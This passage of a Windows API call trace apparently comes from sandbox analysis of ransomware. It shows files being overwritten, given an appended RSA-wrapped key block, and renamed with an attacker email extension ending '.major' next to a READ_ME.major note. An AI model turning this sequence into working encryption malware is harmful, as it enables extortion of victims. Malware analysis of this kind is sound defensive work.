ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0142.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0142.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.189] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.189] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Client\\UiInfo.xml", dwFileAttributes=0x80) returned 1 [0142.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0142.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.189] CreateFileW (lpFileName="\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0142.189] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=39042) returned 1 [0142.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9882) returned 0x60d870 [0142.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9882) returned 0x617100 [0142.189] ReadFile (in: hFile=0x4e8, lpBuffer=0x60d870, nNumberOfBytesToRead=0x9882, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x9882, lpOverlapped=0x0) returned 1 [0142.203] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=-39042, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.203] WriteFile (in: hFile=0x4e8, lpBuffer=0x617100*, nNumberOfBytesToWrite=0x9882, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x617100*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9882, lpOverlapped=0x0) returned 1 [0142.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0142.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x617100 | out: hHeap=0x570000) returned 1 [0142.203] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9882 [0142.204] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.204] WriteFile (in: hFile=0x4e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.204] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.204] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.204] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.204] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="h0B/NiOwYaYWEjxP1C7kTAuEcN8wWG9Ewk2qMveJZvCyggQfexYkZwcRuHC+1YAJ\n+uBwTDFXUAHrysax+g5d/TEYlFXgNIHC2fC3gK9o22KEQwc2f9UL2jHf1NBHNrPT\nazwi+dchzsIq2kl4VD4NxN0yS7g7ZdyJTz2yWthbw+AGdS6FYnUC+UlMkjqCR+pq\nsUQqyR0oodhj2RME5btzYhNMt51cttU5u8fkONjhxsu2yBx+o/gojQHhAH75rY9f\nIQTFI9dQQIOvVhNAhPD9ws0TIc/R44EZxMgAEHDJXNZCIh7lHb81vqSQ3VNAjjdN\n3UWyO424eoEh5CBMnHzvKw==\n", pcchString=0x2e3f9a8) returned 1 [0142.204] WriteFile (in: hFile=0x4e8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.204] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.204] WriteFile (in: hFile=0x4e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.204] CloseHandle (hObject=0x4e8) returned 1 [0142.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.205] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), lpNewFileName="\\588bce7c90097ed212\\Client\\UiInfo.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.255] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0142.256] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0142.256] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0142.256] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.256] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.256] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Client\\Parameterinfo.xml", dwFileAttributes=0x80) returned 1 [0142.256] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0142.256] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0142.256] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0142.256] CreateFileW (lpFileName="\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0142.256] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=201796) returned 1 [0142.256] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x31444) returned 0x2f40048 [0142.256] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x31444) returned 0x2f71498 [0142.256] ReadFile (in: hFile=0x4e8, lpBuffer=0x2f40048, nNumberOfBytesToRead=0x31444, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesRead=0x2e3f9b4*=0x31444, lpOverlapped=0x0) returned 1 [0142.300] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=-201796, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.300] WriteFile (in: hFile=0x4e8, lpBuffer=0x2f71498*, nNumberOfBytesToWrite=0x31444, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f71498*, lpNumberOfBytesWritten=0x2e3f9b4*=0x31444, lpOverlapped=0x0) returned 1 [0142.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0142.301] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f71498 | out: hHeap=0x570000) returned 1 [0142.302] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x31444 [0142.302] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.302] WriteFile (in: hFile=0x4e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.302] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.302] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.302] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.302] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.302] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="SMCtD8dJ1mj0PZ9GSLqvNZbXu8wWYd0hoB4BSnOFOCC7EyKENyoZCuG3uVWajMgu\nylSehKavh44Pg9sSaDNnGZh5vx/6VCTyTmK5oaOOzDqy0Q3ee+xBSnNzhNTZdHqM\n7SBS8EmZT79oYr33WzzmwW5FbO+W1hFZAOFTDN9yLfcvnZcmobYO2wdpNCA2zGeB\nF3Mz+QGKfH38BNpyo/o4cxbFOK6Bv4wtDaQYaC/kuyIDCXPDslcZV9FH0uZB9vua\nxS+LRWej/cIC5C5ck1KNh3s1wpMC3+j214q52WVt76HBLlap8dxBuG6QINW8YYHZ\nGhgajQd7dXwbz1k0W64+Sw==\n", pcchString=0x2e3f9a8) returned 1 [0142.302] WriteFile (in: hFile=0x4e8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.302] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.302] WriteFile (in: hFile=0x4e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.302] CloseHandle (hObject=0x4e8) returned 1 [0142.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.303] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), lpNewFileName="\\588bce7c90097ed212\\Client\\Parameterinfo.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0142.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0142.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0142.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0142.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0142.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8c8 | out: hHeap=0x570000) returned 1 [0142.304] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xaf9c0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5330 [0142.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0142.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0142.304] GetLastError () returned 0x0 [0142.304] SetLastError (dwErrCode=0x0) [0142.304] GetLastError () returned 0x0 [0142.304] SetLastError (dwErrCode=0x0) [0142.304] GetLastError () returned 0x0 [0142.304] SetLastError (dwErrCode=0x0) [0142.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0142.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0142.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b58b0 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58b0 | out: hHeap=0x570000) returned 1 [0142.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0142.305] FindNextFileW (in: hFindFile=0x5b5330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xaf9c0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0142.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0142.305] GetLastError () returned 0x0 [0142.305] SetLastError (dwErrCode=0x0) [0142.305] GetLastError () returned 0x0 [0142.305] SetLastError (dwErrCode=0x0) [0142.305] GetLastError () returned 0x0 [0142.305] SetLastError (dwErrCode=0x0) [0142.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0142.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bef20 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0142.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b52f0 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b52f0 | out: hHeap=0x570000) returned 1 [0142.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0142.305] FindNextFileW (in: hFindFile=0x5b5330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0142.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0142.305] GetLastError () returned 0x0 [0142.305] SetLastError (dwErrCode=0x0) [0142.305] GetLastError () returned 0x0 [0142.305] SetLastError (dwErrCode=0x0) [0142.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0142.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0142.305] GetLastError () returned 0x0 [0142.306] SetLastError (dwErrCode=0x0) [0142.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0142.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0142.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0142.306] FindNextFileW (in: hFindFile=0x5b5330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf9c0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xaf9c0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xaf9c0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0142.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0142.306] GetLastError () returned 0x0 [0142.306] SetLastError (dwErrCode=0x0) [0142.306] GetLastError () returned 0x0 [0142.306] SetLastError (dwErrCode=0x0) [0142.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0142.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0142.306] GetLastError () returned 0x0 [0142.306] SetLastError (dwErrCode=0x0) [0142.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.306] FindNextFileW (in: hFindFile=0x5b5330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0142.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0142.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0142.306] GetLastError () returned 0x0 [0142.306] SetLastError (dwErrCode=0x0) [0142.306] GetLastError () returned 0x0 [0142.306] SetLastError (dwErrCode=0x0) [0142.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0142.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0142.306] GetLastError () returned 0x0 [0142.306] SetLastError (dwErrCode=0x0) [0142.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0142.306] FindNextFileW (in: hFindFile=0x5b5330, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0142.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0142.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.306] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.306] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Extended\\UiInfo.xml", dwFileAttributes=0x80) returned 1 [0142.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0142.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0142.307] CreateFileW (lpFileName="\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.307] GetFileSizeEx (in: hFile=0x4ec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=39050) returned 1 [0142.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x988a) returned 0x60d870 [0142.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x988a) returned 0x617108 [0142.307] ReadFile (in: hFile=0x4ec, lpBuffer=0x60d870, nNumberOfBytesToRead=0x988a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x988a, lpOverlapped=0x0) returned 1 [0142.381] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-39050, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.381] WriteFile (in: hFile=0x4ec, lpBuffer=0x617108*, nNumberOfBytesToWrite=0x988a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x617108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x988a, lpOverlapped=0x0) returned 1 [0142.381] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0142.381] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x617108 | out: hHeap=0x570000) returned 1 [0142.382] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x988a [0142.382] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.382] WriteFile (in: hFile=0x4ec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.382] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.382] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.382] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.382] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.383] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: 